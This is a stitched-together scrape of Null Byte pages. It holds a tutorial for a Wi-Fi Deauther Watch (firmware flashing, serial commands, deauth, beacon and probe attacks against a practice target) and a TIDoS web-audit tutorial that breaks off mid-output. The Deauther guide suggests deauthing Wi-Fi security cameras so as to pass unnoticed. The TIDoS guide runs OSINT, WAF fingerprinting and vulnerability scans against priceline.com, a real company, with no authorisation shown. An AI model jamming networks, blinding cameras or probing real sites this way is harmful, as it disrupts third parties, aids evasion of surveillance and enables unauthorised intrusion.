Hacking Windows 10Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by tokyoneon/Null ByteRelatedHack Like a Pro:How to Crash Your Roommate's Windows 7 PC with a LinkHack Like a Pro:How to Exploit IE8 to Get Root Access When People Visit Your WebsiteHack Like a Pro:Creating a Virtually Undetectable Covert Channel with RECUBNews:What REALLY Happened with the Juniper Networks Hack?Hack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow To:Install a Persistant Backdoor in Windows Using NetcatHow to Hack Windows 7:Sending Vulnerable Shortcut FilesHow To:Hack Windows XP into Giving You 5 More Years of Free SupportNews:Hacking SCADAHack Like a Pro:How to Conduct Passive OS Fingerprinting with p0fAndroid for Hackers:How to Backdoor Windows 10 & Livestream the Desktop (Without RDP)How To:Download a torrent for the first timeHacking macOS:How to Use One Python Command to Bypass Antivirus Software in 5 SecondsHow to Hack Like a Pro:Hacking Windows Vista by Exploiting SMB2 VulnerabilitiesHacking Windows 10:How to Remotely Record & Listen to the Microphone of a Hacked ComputerAndroid for Hackers:How to Backdoor Windows 10 Using an Android Phone & USB Rubber DuckyHow To:Hack Lets You Fully Activate a Bootleg Copy of Windows 8 Pro for FreeHow To:Hack Your Firefox User Agent to Spoof Your OS and BrowserHack Like a Pro:How to Remotely Grab Encrypted Passwords from a Compromised ComputerHow To:PlayStation Gaming, Dual-Booting, and 6 Other Cool Ways to Get More Out of Your Nook eReaderHack Like a Pro:Metasploit for the Aspiring Hacker, Part 4 (Armitage)Hack Like a Pro:How to Create a Nearly Undetectable Backdoor with CryptcatHack Like a Pro:How to Create a Virtual Hacking LabHow To:Windows 7 Won't Boot? Here's How To Fix Your Master Boot RecordNews:Hack Your Computer's BIOS to Unlock Hidden Settings, Overclocking & MoreHow To:Use All Your Instant Messenger Accounts At OnceHow To:Run Windows from Inside LinuxHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterNews:FIX WINDOWS 7 SLOW STARTUP TIMES...
Hack Networks & Devices Right from Your Wrist with the Wi-Fi Deauther Watch « Null Byte :: WonderHowTo
The Deauther Watch by Travis Lin is the physical manifestation of theWi-Fi Deautherproject by Spacehuhn, and it's designed to let you operate the Deauther project right from your wrist without needing a computer. That's pretty cool if you want to do all the interesting things that the Wi-Fi Deauther can do without plugging it into a device.If you missed our guide onusing an ESP8266-based Wi-Fi Deauther, you might be confused about what the Deauther does. For one, it can create deauthentication and disassociation packets, which can kick devices off the same Wi-Fi network the Deauther is attacking. It can do this over and over again, constantly jamming the network so that devices can't connect or stay connected.Don't Miss:How to Scan, Fake & Attack Wi-Fi Networks with the ESP8266-Based WiFi DeautherWi-Fi security cameras are an interesting use-case for this type of attack. You could use the Deauther Watch wearable hacking tool, then hunt down the Wi-Fi network that a security camera you come across is connected to, then send out a deauth attack to kick the cameras off the network so you can skate by unnoticed.The Wi-Fi Deauther project can scan for both nearby access points and connected devices, and it can even clone any Wi-Fi network it sees. It can also generate dozens of fake Wi-Fi networks with any names you want, monitor channels for packet traffic between devices, and do all of this from a fancy built-in interface.What You'll Need:Now, you can actually build a Deauther Watch yourself if you want to buy all the components separately, but I recommend checking out one of the links below to pick a pre-flashed one up with all the parts included.Amazon:DSTIKE Deauther Watch v1($49.99 + tax and Prime shipping)Amazon:DSTIKE Deauther Watch v2($47.99 + tax and Prime shipping)Amazon:DSTIKE Deauther Watch v3($51.99 + tax and Prime shipping)DSTIKE:DSTIKE Deauther Watch v1($35 + tax and shipping)DSTIKE:DSTIKE Deauther Watch v2($45 + tax and shipping)DSTIKE:DSTIKE Deauther Watch v3($65 + tax and shipping)Aliexpress:DSTIKE Deauther Watch v1($35 + tax and shipping)Aliexpress:DSTIKE Deauther Watch v2($45 + tax and shipping)Aliexpress:DSTIKE Deauther Watch v3($65 + tax and shipping)Python 3 is also needed if you need to install the firmware from scratch.Step 1: Flash from Scratch (If Needed)The Deauther Watch should come pre-flashed with the right firmware, but if it's missing the software, has corrupted software, or something's not working right, you can install or reinstall it. In any of those cases, make sure you have theesptoolinstalled with:~$ pip3 install esptool Collecting esptool Downloading https://files.pythonhosted.org/packages/68/91/08c182f66fa3f12a96e754ae8ec7762abb2d778429834638f5746f81977a/esptool-2.8.tar.gz (84kB) 100% |████████████████████████████████| 92kB 928kB/s Requirement already satisfied: ecdsa in /usr/lib/python3/dist-packages (from esptool) (0.13) Collecting pyaes (from esptool) Downloading https://files.pythonhosted.org/packages/44/66/2c17bae31c906613795711fc78045c285048168919ace2220daa372c7d72/pyaes-1.6.1.tar.gz Requirement already satisfied: pyserial>=3.0 in /usr/lib/python3/dist-packages (from esptool) (3.4) Building wheels for collected packages: esptool, pyaes Running setup.py bdist_wheel for esptool ... done Stored in directory: /root/.cache/pip/wheels/56/9e/fd/06e784bf9c77e9278297536f3df36a46941c885eb23593bb16 Running setup.py bdist_wheel for pyaes ... done Stored in directory: /root/.cache/pip/wheels/bd/cf/7b/ced9e8f28c50ed666728e8ab178ffedeb9d06f6a10f85d6432 Successfully built esptool pyaes Installing collected packages: pyaes, esptool Successfully installed esptool-2.8 pyaes-1.6.1Next, go to theReleasespage of Spacehuhn'sWi-Fi Deautherproject on GitHub to make sure you're getting the most recent firmware version. Find and download the BIN file for the most recent Deauther Watch, which is currently one of these:https://github.com/SpacehuhnTech/esp8266_deauther/releases/download/2.6.0/esp8266_deauther_2.6.0_DSTIKE_DEAUTHER_WATCH.bin https://github.com/SpacehuhnTech/esp8266_deauther/releases/download/2.6.0/esp8266_deauther_2.6.0_DSTIKE_DEAUTHER_WATCH_V2.binIf you have any problems installing the firmware, Spacehuhn'sWi-Fi Deauther Wikion GitHub is a great resource to find the commands needed and some tips and tricks for installing the BIN file on the Watch.Plug in the ESP8266 microcontroller on the Deauther Watch to your computer using a Micro-USB cable, then locate the port that it's connected to. To do that, usels /dev/cu.*on macOS,dmesg | grep ttyon Linux, or by looking in the Device Manager for thecomport in Windows. We havemanymicrocontrollerguidesthatshowlocatingthe port in more detail, so check one of those out if you have any issues.When you've got the right port, flash the firmware using the following command. Make sure to replace/dev/ttyUSB0with the port your Deauther Wristband is connected to, and change the BIN file name if it's not the same version.esptool.py -p /dev/ttyUSB0 write_flash -fm dout 0x0000 esp8266_deauther_2.6.0_DSTIKE_DEAUTHER_WATCH.binThis should write the firmware to the device, but the screen may not turn on.Step 2: Enable the Screen (If Needed)If your Deauther Watch's screen isn't working, then you'll need to enable it. The Wi-Fi Deauther Wiki has a goodSetup Display and Buttonsresource if you need it at any point.With your Deauther Watch still connected to your computer via Micro-USB cable, connect to it usingscreenwith the following command. You'll need to replace the port with the one your Deauther Watch is connected to.~$ screen /dev/ttyUSB0 115200 MicroPython v1.15 on 2021-05-14; ESP module with ESP8266 Type "help()" for more information. >>>Alternatively, you can connect to it in Arduino IDE. If you want to go that route, open Arduino IDE, click "Tools" in the menu, select "Port," and choose the port of your connected Deauther Watch. Then, pressCommand-Shift-Mon your keyboard or click on the serial monitor button in the current window to open the serial monitorOnce connected, either through a terminal or Arduino IDE, typehelpto see a list of commands and confirm you're connected properly. You should see output like below.>>> help [===== List of commands =====] help scan [<all/aps/stations>] [-t <time>] [-c <continue-time>] [-ch <channel>] show [selected] [<all/aps/stations/names/ssids>] select [<all/aps/stations/names>] [<id>] deselect [<all/aps/stations/names>] [<id>] add ssid <ssid> [-wpa2] [-cl <clones>] add ssid -ap <id> [-cl <clones>] [-f] add ssid -s [-f] add name <name> [-ap <id>] [-s] add name <name> [-st <id>] [-s] add name <name> [-m <mac>] [-ch <channel>] [-b <bssid>] [-s] set name <id> <newname> enable random <interval> disable random load [<all/ssids/names/settings>] [<file>] save [<all/ssids/names/settings>] [<file>] remove <ap/station/name/ssid> <id> remove <ap/station/names/ssids> [all] attack [beacon] [deauth] [deauthall] [probe] [nooutput] [-t <timeout>] attack status [<on/off>] stop <all/scan/attack/script> sysinfo clear format print <file> [<lines>] delete <file> [<lineFrom>] [<lineTo>] replace <file> <line> <new-content> copy <file> <newfile> rename <file> <newfile> run <file> write <file> <commands> get <setting> set <setting> <value> reset chicken reboot info // <comments> send deauth <apMac> <stMac> <rason> <channel> send beacon <mac> <ssid> <ch> [wpa2] send probe <mac> <ssid> <ch> led <r> <g> <b> [<brightness>] led <#rrggbb> [<brightness>] led <enable/disable> draw screen <on/off> screen mode <menu/packetmonitor/buttontest/loading> ======================================================================== for more information please visit github.com/spacehuhn/esp8266_deauther ========================================================================Now, run the following commands in your terminal or Arduino IDE to enable the screen.>>> set display true;;save settingsYou may need to restart the device for the settings to take effect. When you boot back up, the screen should now be working!Step 3: Create a Reactive Target (Optional)To have something legal to practice on, it's good to create a reactive target, which is basically a device on a Wi-Fi hacking test network. One can be made based on the default Arduino IDE "WiFiAccessPoint" sketch for ESP8266-based microcontrollers like the D1 Mini.Kody Kinzie has a modified sketch on hisWiFiHackingWorkshopproject on GitHub. The sketch is theReactiveTarget.inofile, so make sure that's the one you grab. Download that, then flash it over to your ESP8266. The code box below shows the ReactiveTarget.ino file contents if you want to rebuild it yourself.If you need help with this, check out myprevious guide on playing Wi-Fi hacking games legally using microcontrollers, which shows a similar step.Don't Miss:There Are Hidden Wi-Fi Networks All Around You — These Attacks Will Find Them// SIMPLE Wi-FI LINK MONITOR BY SKICKAR - Based on Henry's Bench Wi-Fi link checker // This project has the goal to connect an ioT device to a Wi-Fi network and monitor the ability to establish a normal wireless connection. // The project uses only three componants - A nodeMCU, a breadboard, and one RGB LED. #include <ESP8266WiFi.h> // First, we include the libraries we need to make this work on the ESP8266 #include <ESP8266WiFi.h> #include <ESP8266HTTPClient.h> const char* ssid = "Control"; // Next, we set the name of the network to monitor. const char* password = "testytest"; // After that, we enter the password of the network to monitor. int wifiStatus; // Here, we create a variable to check the status of the Wi-Fi connection. int connectSuccess = 0, highTime = 500, lowtime = 500; // And now, we set a variable to count the number of times we've been able to successfully connect, and how long the LED will stay on and off for. void red() { // Here, we will map a function called "red" to the right pin that will light up the red LED for the amount of time we defined in hightTime for how long it is lit, and lowTime for how long it is off each time we pulse a red LED. digitalWrite(D1, HIGH), delay(highTime), digitalWrite(D1, LOW), delay(lowtime); // We map the red function to the D5 pin, so that each time we call red() it will pulse power on the D5 pin. } void green() { // We do the same with green, mapping the D6 pin to the green() function. digitalWrite(D2, HIGH), delay(highTime), digitalWrite(D2, LOW), delay(lowtime); } void blue() { // Finally, we do the same with blue, mapping it to the D7 pin. digitalWrite(D3, HIGH), delay(highTime), digitalWrite(D3, LOW), delay(lowtime); } void setup() { // The setup function runs only once when the device starts up. unsigned long previousMillis = 0; // will store last time LED was updated // constants won't change: const long interval = 1000; // interval at which to blink (milliseconds) pinMode(D1, OUTPUT), pinMode(D2, OUTPUT), pinMode(D3, OUTPUT); // In this case, we will activate the D5, D6, and D7 pins for output mode. WiFi.begin(ssid, password); // The last part of setup we will write is to start the Wi-Fi connection process. } void loop() { // This loop will run over and over again, unlike the setup function, which will only run once. HTTPClient http; http.begin(/*client, */ "http://192.168.4.1"); int httpCode = http.GET(); String payload = http.getString(); if (httpCode > 0) { } else { Serial.printf("ERROR %d\n", httpCode); } //delay(1000); // Set a delay of one second per cycle of checking the status of the link. wifiStatus = WiFi.status(); // First, we'll check the status of the Wi-Fi connection and store the result in the variable we created, wifiStatus. if(connectSuccess == 0){ blue();} // If device is not connected and never has successfully connected, flash the blue light. This could mean the network doesn't exist, is out of range, or you misspelled the SSID or password. if(wifiStatus == WL_CONNECTED){ green(), connectSuccess ++; } // If the device is connected, flash the green light, and add one to the count of the "connectSuccess" variable. This way, we will know to flash the red light if we lose the connection. else if(connectSuccess != 0){ red(); } // If the connection is not active but we have been able to connect before, flash the red LED. That means the AP is down, a jamming attack is in progress, or a normal link is otherwise impossible. }This sketch continually checks to see if a Wi-Fi network is accessible, if the device can connect successfully to it, or if it's being blocked. If it's being blocked, then the ESP8266 will go ahead and warn me with a red flash, and if it's able to connect successfully, it'll let me know with a green flash. If it's never able to connect at all, meaning something's wrong with my access point, the ESP8266 will flash blue.Step 4: Scan for Target NetworksNow, we can turn on the Deauther Watch by flipping the switch on the side. From the main watch menu, use the scroll switch to select theSCANoption, then press the scroll switch to enter the scan menu.Image by Retia/Null ByteFrom the scan menu, you can decide to scan for access points (SCAN APs), stations (SCAN STATIONS), or both (SCAN AP + ST). After you decide which to scan for and have selected it with the scroll switch, press the scroll switch to begin the scan.Image by Retia/Null ByteAfter the scan is complete, it will show you how many APs, stations, or both were found. Now, go back to the main menu and open theSELECTmenu. Here, you can see APs or stations that were detected by the scan.Image by Retia/Null ByteNext, go through the APs, Stations, Names, and SSIDs options until you find your reactive target. Select your target, and press the scroll wheel to mark the target with an asterisk (*) and save it to the target list.Step 5: Attack a Targeted NetworkGo back to the main menu and select theATTACKmenu item this time. Once there, you'll have the option to use theDEAUTH,BEACON, orPROBEattacks.If you want to clone this over and over, you could use the beacon attack. If I want to send out a bunch of probe frames looking for this network or device, try the probe attack.I'm going to select the deauth attack. SelectDEAUTH, then go down toSTARTand press the button to begin. This should disconnect the target from its network, and the ESP8266 reactive target should start blinking red in distress.Image by Retia/Null ByteYou should be successfully jamming the Wi-Fi of the target, and the reactive target should no longer connect to the Wi-Fi network. Once you're ready to stop, you can press the scroll button again to stop the attack, and the reactive target can join the network again.This was just a quick little demonstration of how you can use the Deauther Watch to scan, select, and attack a network. To start attacking the device again, just start the attack again.Play Safe with Your Deauther WatchThe Deauther Watch is a really amazing project and a great way to support the developers of the Wi-Fi Deauther project. If you want to pick one of these watches up, keep in mind that it can do some things that might be illegal in your country or region, like hacking a Wi-Fi network that you don't have permission to attack. That could be a serious problem, so make sure you check your local laws before you start firing off this device on networks you don't have permission to test.Don't Miss:Generate Crackable Wi-Fi Handshakes with an ESP8266-Based Test NetworkWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo by Retia/Null ByteRelatedHow To:Scan, Fake & Attack Wi-Fi Networks with the ESP8266-Based WiFi DeautherAndroid Basics:How to Connect to a Wi-Fi NetworkHow To:Find Your Misplaced iPhone Using Your Apple WatchHow To:Easily Store Your iPhone's Wi-Fi Passwords & Share Them with Anybody — Even Android UsersHow To:Turn on Google Pixel's Wi-Fi Assistant to Get Secure Access on Open NetworksHow To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterHow To:See Who's Using Your Wi-Fi & Boot Them Off with Your AndroidWiFi Prank:Use the iOS Exploit to Keep iPhone Users Off the InternetHow To:Having Connection Issues on Android Pie? Turn Off 'Turn on Wi-Fi Automatically'How To:Hunt Down Wi-Fi Devices with a Directional AntennaNews:Project Zero Finds iPhone & Android Open to Bugs in Broadcom's Wi-Fi ChipsHow To:Make Your Android Automatically Switch to the Strongest WiFi NetworkHow To:Easily See Passwords for Wi-Fi Networks You've Connected Your Android Device ToHow To:Recover a Lost WiFi Password from Any DeviceHow To:Switch or Connect to Wi-Fi Networks & Bluetooth Devices Right from the Control Center in iOS 13How to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow to Hack Wi-Fi:Disabling Security Cameras on Any Wireless Network with Aireplay-NgHow To:This App Saves Battery Life by Toggling Data Off When You're on Wi-FiHow To:Hack Wi-Fi Networks with BettercapHow To:The Beginner's Guide to Defending Against Wi-Fi HackingHow To:This Widget Lets You Open Wi-Fi Settings Faster, Share Passwords & More on Your iPhoneHow To:iOS 6 Broke Your Wi-Fi? Here's How to Fix Connection Problems on Your iPhone or iPadHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow To:Can't Log into Hotel Wi-Fi? Use This App to Fix Android's Captive Portal ProblemHacking Android:How to Create a Lab for Android Penetration TestingHow To:Find Saved WiFi Passwords in WindowsHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyHow To:Extend a (Hacked)Router's Range with a Wireless Adapter.How To:Spy on Network Relationships with Airgraph-NgHow To:Track Wi-Fi Devices & Connect to Them Using ProbequestHow To:Easily Share Your Wi-Fi Password with a QR Code on Your Android PhoneHow To:Recover Forgotten Wi-Fi Passwords in WindowsHow To:Kick People Off Your Wi-Fi Network Using Your Nexus 7How To:Hack WiFi Passwords for Free Wireless Internet on Your PS3How To:Quickly Share & Receive Large Files from Other Devices Without Using Wi-FiHow to Hack with Arduino:Tracking Which Networks a Mac Has Connected To & WhenHow To:Fix Cellular & Wi-Fi Issues on Your iPhone in iOS 12How To:Pick an Antenna for Wi-Fi HackingHow To:Protect Yourself from the KRACK Attacks WPA2 Wi-Fi VulnerabilityHow To:Fix Wi-Fi Performance Issues in iOS 8 & Yosemite
How to Probe Websites for Vulnerabilities More Easily with the TIDoS Framework « Null Byte :: WonderHowTo
Websites and web applications power the internet as we know it, representing a juicy target for any hacker or red team. TIDoS is a framework of modules brought together for their usefulness in hacking web apps, organized into a common sense workflow. With an impressive array of active and passive OSINT modules, TIDoS has the right instrument for any web app audit.Similar to the wayMetasploitorganizes an engagement into phases, TIDoS is a process-oriented framework. Keeping in mind the process of moving from stealthy scanning to active peeking before forming a plan, TIDoS neatly organizes the best tools for each category laid out in the order it should be used, naturally leading the user through the steps of discovering and exploiting vulnerabilities.Organizing the Kill ChainHacking isn't about whipping out the perfect tool and cracking through security in a fraction of a second. Instead, assume that most targets have a vulnerability, and the most logical path of action is to discover and exploit it, rather than going up against more prepared defenses. The best way of doing this is to make sure that no stone is left unturned in the search for vulnerabilities, allowing the hacker to pick and choose which to exploit with relatively little risk.Don't Miss:Detect Vulnerabilities in a Web Application with UniscanThe progression from broad OSINT to specific scanning is a process of identifying target surfaces and enumerating them — or learning as much as possible about them up until actually trying an exploit on a suspected vulnerability. Once we have the best understanding of target surfaces, e.g., IP addresses, domain names, and the services running behind applications, we can formulate the best plan to attack a target.Active vs. Passive ReconAn important distinction between scanning tools that TIDoS makes is between active and passive observation. It's an important distinction to make because, depending on your target, active scanning may cause you to be immediately detected. On a corporate network, running invasive port scans on company resources is a terrible idea. Active methods produce direct contact between you and the target, and they're like shining a very bright spotlight on a target that's under surveillance.TIDoS organizes passive and active recon into their own sections, allowing a hacker on a sensitive network to steer clear of any noisy tools that might cause them to be detected. That attention to detail is what makes TIDoS a valuable resource in organizing workflows to exploit web apps. While there is only currently a single exploitation module, TIDoS has five main phases, divided into 14 sub-phases, for a total of 108 modules available.What You'll NeedTo use TIDoS, you'll need to install Python if you don't have it already. It's cross-platform, so you should be able to do so regardless of your operating system. Next, you'll need to update your system with anapt updatecommand in a terminal window, and then install some required libraries with the command below.sudo apt-get install libncurses5 libxml2 nmap tcpdump libexiv2-dev build-essential python-pip default-libmysqlclient-dev python-xmppOnce you have Python and these libraries installed, you're really to install the TIDoS framework.Step 1: Install TidosFirst, we'll need to clonethe GitHub repositoryso that we can download the program. To do so, open a terminal and type the following command together.git clone https://github.com/0xinfection/tidos-framework.git cd tidos-frameworkThat will download the repository and move you into its directory. (You may have to hitEnterafter it's done being cloned to move into its directory.) If you typels, you'll see the files included with the installation. Now, we'll need to make the program executable, so we'll execute the following command to give it execution privileges.chmod +x install ./installNow, we should be able to call TIDoS by simply typingtidosinto a terminal window. Do so in order to launch the framework, and you should see an ASCII art intro display.. ___________________________ |\_________________________/|\ || || \ || The || | || TIDoS || | || Framework || | || || | || Web Application Audit || | || Framework || | || || | || From: CodeSploit || / ||_________________________|| / |/_________________________\|/ __\_________________/__/| |_______________________|/ ________________________ /oooo oooo oooo oooo /| /ooooooooooooooooooooooo/ / /ooooooooooooooooooooooo/ / /C=_____________________/_/ [---] The TIDoS Framework | Version v1.7 [---] [---] [---] [---] ~ Author : Infected Drake ~ [---] [---] ~ github.com / 0xInfection ~ [---] [---] [---] [---] 5 Phases | 14 Sub-Phases | 108 Modules [---] Welcome to The TIDoS Framework (TTF) The TIDoS Framework is a project by Team CodeSploit [#] Target web address :>Step 2: Select the Target WebsiteNow, let's select a website for our test. In our example, we'll be usingpriceline.combecause it is the worst travel service that I know (your mileage may vary). We'll need to know a few things about the target before selecting it. First, let's go to the web URL and see if it uses HTTPS, as this will require TIDoS to use a different port.When we type inpriceline.comin a browser, it redirects to a URL that starts with "https" instead of "http," which means they're using transportation layer security, or TLS. Now, let's enter the web URLpriceline.comto TIDoS, and select "Yes" when asked if the target uses TLS. It should bring us to the main menu for TIDoS.. + ______ . . +. / ==== \ . + . . . . ,-~--------~-. * + ,^ ___ ^. + * . . . * * / .^ ^. \ . _ | _ | | o ! | . __ \ /--. . |_ '.___.' _| I__/_\ / )}======> + | "'----------------"| + _[ _(0): ))========> + . ! ! . I__\ / \. ]}======> . . \ TIDoS Prober / ~^-.--' ^. .^ . | +. * . "-..______.,-" . . * + . . + * . -=[ L E T S S T A R T ]=- + . ' . + + * . + * . * . Choose from the options below : [1] Reconnaissance & OSINT (50 modules) [2] Scanning & Enumeration (16 modules) [3] Vulnerability Analysis (37 modules) [4] Exploitation (beta) (1 modules) [5] Auxillary Modules (4 modules) [99] Say "alvida"! (Exit TIDoS) [#] TID :>Step 3: Recon with the OSINT ModuleTo start, let's check out the OSINT and recon modules. Select option1, and you'll see the following menu asking if you want to use active, passive, or information disclosure sources.[#] TID :> 1* . . . . * . . . . . . ### o -=[ R E C O N N A I S S A N C E ]=- > ######- --0 + . . . ### 0 . . . . . + , , , . \ . . + . . \ . . ### . . o . > ###########- --0 . + . \ ######## . . #\##\##. > ###########- --0 . . + # #O##\### ### . + . . #*# #\##\### . + . . ##*# #\##\## + . . ##*# #o##\# . * , . . **# #\# . . . + \ . /\^ .". / ____^/\___^--____/\____O_____________/ \/\___________/\/ \______________ /\^ ^ ^ ^ ^^ ^ '\ ^ ^ --- -- - -- - - --- __ ^ -- __ ___-- ^ ^ -- __ Choose from the following options: [1] Passive Footprinting (Open Source Intelligence) [2] Active Reconnaissance (Gather via Interaction) [3] Information Disclosure (Errors, Emails, etc) [99] BackNow, we'll start with the passive footprinting by selecting1again, which will give us access to passive observation tools.[#] TID :> 1[!] Module Selected : Passive Reconnaissance +-----------------+ | PASSIVE RECON | +-----------------+ [1] Ping Check (Using external APi) [2] WhoIS Lookup (Get domain info) [3] GeoIP Lookup (Pinpoint Server Location) [4] DNS Configuration Lookup (DNSDump) [5] Gather Subdomains (Only indexed ones) [6] Reverse DNS Configuration Lookup [7] Subnet Enumeration (Class Based) [8] Reverse IP Lookup (Hosts on same server) [9] Domain IP History (IP History Instances) [10] Gather All Links from WebPage (Indexed ones) [11] Google Search (Search your own Query or Dork) [12] Google Dorking (Multiple Modules) [13] Wayback Machine Lookup (pure backups) [14] Hacked Email Check (Breached/leaked emails) [15] Email to Domain Resolver (Email whois) [16] Email Enumeration via Google Groups [17] Check Alias Availability (Social Networks) [18] Find PasteBin Posts (Domain Based) [19] LinkedIn Gathering (Employees, Companies) [20] Google Plus Gathering (Profiles Crawling) [21] Public Contact Info Gathering (Full Contact) [22] CENSYS Domain Reconnaissance (CENSYS.IO) [23] Threat Intelligence Gathering (Bad IPs) [A] The Auto-Awesome Module (Unleash the Beast) [99] BackThere are quite a lot of tools here! Because they are all passive, we can eyeball "The Auto-Awesome Module" (optionA) to use every single one of these tools, generating a report of the results at the end.This "giant red button" can take quite some time on a slow connection because it launches everything in the arsenal against the target in wave after wave of probing. Despite the intensity of the gathering, these tools should alert the target that they are under observation.So, let's "unleash the beast" by pressingAto engage "The Auto-Awesome Module." It will run every single scan in an impressive display of automated snooping. Be aware that this will take some time. When the results come back, you should have a lot of information on the target.[#] TID :> ANext, we can explore the more active modules by typing99to go back to the previous menu. Select2to go to the active recon module. Here, we can learn a lot more information, at the possible risk of exposing our investigation with direct contact with the target.[#] TID :> 99 [#] TID :> 2[!] Module Selected : Active Reconnaissance +----------------+ | ACTIVE RECON | +----------------+ [1] Ping/NPing Enumeration (Adaptative+Debug) [2] Grab HTTP Headers (Live Capture) [3] Find Allowed HTTP Methods (Via OPTIONS) [4] Examine robots.txt and sitemap.xml [5] Scrape Comments from Webpage (Regex Based) [6] Perform Advanced Traceroute (TTL Based) [7] Find Shared DNS Hosts (NameServer Based) [8] Examine SSL Certificate (Absolute) [9] CMS Detection (185+ CMSs supported) [10] Apache Status Disclosure (File Based) [11] WebDAV HTTP Enumeration (SEARCH, PROFIND) [12] Find PHPInfo File (Regular Bruteforce) [13] Enumerate Server behind website [14] Alternate Sites (User-Agent Based) [15] Common File Bruteforce (5 modules) [A] The Auto-Awesome Module [99] BackAfter you've run any tools you want to try, type99twice to return to the main menu. Next, we'll check out the modules to scan the attack surfaces we've discovered in the scanning phase.Step 4: Use the Scanning & Enumeration ModuleFrom the main menu, select option2to enter the scanning module.[#] TID :> 2[+] Module Selected : Scanning and Enumeation ,-. . + . + * / \ `. __..-,O + * . + : \ --''_..-'.' | . .-' `. '. + . . + + . : . .`.' \ `. / .. . + + . + \ `. ' . * . `, `. \ + + . ,|,`. `-.\ * . + '.|| ``-...__..-` ' + | | . * + * |__| + * . . /||\ . . //||\\ + -=[ P R O B E & E N U M E R A T E ]=- + // || \\ + __//__||__\\_ . . * . + ____________'--------------'____________________________________________ Choose from the following options: [1] Remote Server WAF Enumeration (Generic) (54 WAFs) [2] Port Scanning and Analysis (Several Types) [3] Interactive Scanning with NMap (16 Preloaded modules) [4] Web Technologies Enumeration(FrontEnd Technologies) [5] Remote Server SSL Enumeration(Absolute) [6] Operating System Enumeration (Absolute) [7] Grab Banners on Services (via Open Ports) [8] Scan all IP Addresses Linked to Domain (CENSYS) [9] Let loose Crawlers on the target (Depth 1, 2 & 3) [A] Automate all one by one on target [99] BackUnlike the first menu, this one is not broken down into smaller sections. Select any tools you want to run, but be aware tools in this section should not be used to scan an entire organization. These tools are much more active and could set off a lot of alarm bells if used against a target indiscriminately. For example, we can reach out and scan for a web app's firewall by selecting the first tool.TID :> 1[!] Type Selected : WAF Analysis [*] Loading module... =============================== W A F E N U M E R A T I O N =============================== [*] Testing the firewall/loadbalancer... [!] Making the request... [*] Response seems to be matching a WAF signature... [+] The website seems to be behind a WAF... [+] Firewall Detected : Varnish FireWall (OWASP) [+] WAF Fingerprinting module completed! [#] Press Enter to continue...With a single command (1), we've identified "Varnish FireWall" as the one we're up against at priceline.com. While we reached out directly to do this scan, the contact probably won't be noticed by Priceline. Whether or not your target would notice it heavily depends on your target and where you're scanning from.Don't Miss:Brute-Force Nearly Any Website Login with HatchOnce you're done with the scanning module, type99to return to the main menu.Step 5: Use the Vulnerability Analysis ModuleFrom the main menu, type3and hitEnterto go to the Vulnerability Analysis module, which will give you the option between "Basic Bugs & Misconfigurations," which are of a lower priority, or "Critical Vulnerabilities," which have the potential to be more serious.[#] TID :> 3[!] Module Selected : Vulnerability Analysis ..... .:noONNNNNNNOon:. .:NNNNNNNmddddNNNNNNN:. :NNNNmy+:. + .:+ymNNNN: NNNNy:` + `:yNNNN NNNNy. -!NNNN NNNN/ + \NNNN NNNm- .:#####:. -mNNN \033[1;37m[0x00] \033[1;33mV U L N E R A B I L I T Y \033[1;31m :NNN+ # + # +NNN: NNNm # + # mNNN \033[1;33mE N U M E R A T I O N\033[1;31m \033[1;37m[0x00] NNNh+++ ++#+++++++++++#++ +++hNNN NNNm # + # mNNN :NNN+ # + # +NNN: NNNm- *:#####:* -mNNN NNNN\ + /NNNN NNNNy. -yNNNN NNNNy:` + `:yNNNN" :NNNNmy+:. + .:+ymNNNN: *:NNNNNNNmddddNNNNNNNN* *:!NNNNNNNNNNN!:* '''*''' [1] Basic Bugs & Misconfigurations (Low Priority [P0x3-P0x4]) [2] Critical Vulnerabilities (High Priority [P0x1-P0x2]) [3] Others (Bruters) [99] BackLet's select2for "Critical Vulnerabilities," as I imagine a company like Priceline probably has several. In the new menu that opens, there are 13 tools we can use to probe for various vulnerabilities.[#] TID :> 2+------------------------------------------------------+ | TIDoS Dialog [-] [口] [×] | | ---------------------------------------------------- | | | | TIDoS has detected that you want to hunt for bugs! | | Do you wish to continue? | | | | .----------. .----------. .----------. | | | Yes | | No | | Maybe | | | '----------' '----------' '----------' | |______________________________________________________| [1] Insecure Cross Origin Resource Sharing (Absolute) [2] Same Site Scripting (Sub-Domains Based) [3] Clickjackable Vulnerabilities (Framable Response) [4] Zone Transfer Vulnerabilities (DNS Based) [5] Security on Cookies (HTTPOnly & Secure Flags) [6] Security Headers Analysis (Absolute) [7] Cloudflare Misconfiguration (Get Real IP) [8] HTTP Strict Transport Security Usage [9] Cross-Site Tracing (Port Based) [10] Network Security Misconfig. (Telnet Port Based) [11] Spoofable Emails (Missing SPF & DMARC Records) [12] Host Header Injection (Port Based) [13] Cookie Injection (Session Fixation) [A] Load all the modules 1 by 1 [99] Back [#] TID :>This is where "The Auto-Awesome Module" is a bad idea. Due to a few poor design choices in the script, it's easy to get stuck in a tool and have to exit the entire script to get out. Instead, let's try option6to analyze the security headers.[#] TID :> 6[!] Type Selected : Sec. Headers ========================================= H T T P H E A D E R A N A L Y S I S ========================================= [!] Initializing Header Analysis... [!] Ignore SSL certificate errors? (Y/n) :> y [!] Ignoring certificate errors... [-] X-Frame-Options not present (Not OK) [-] 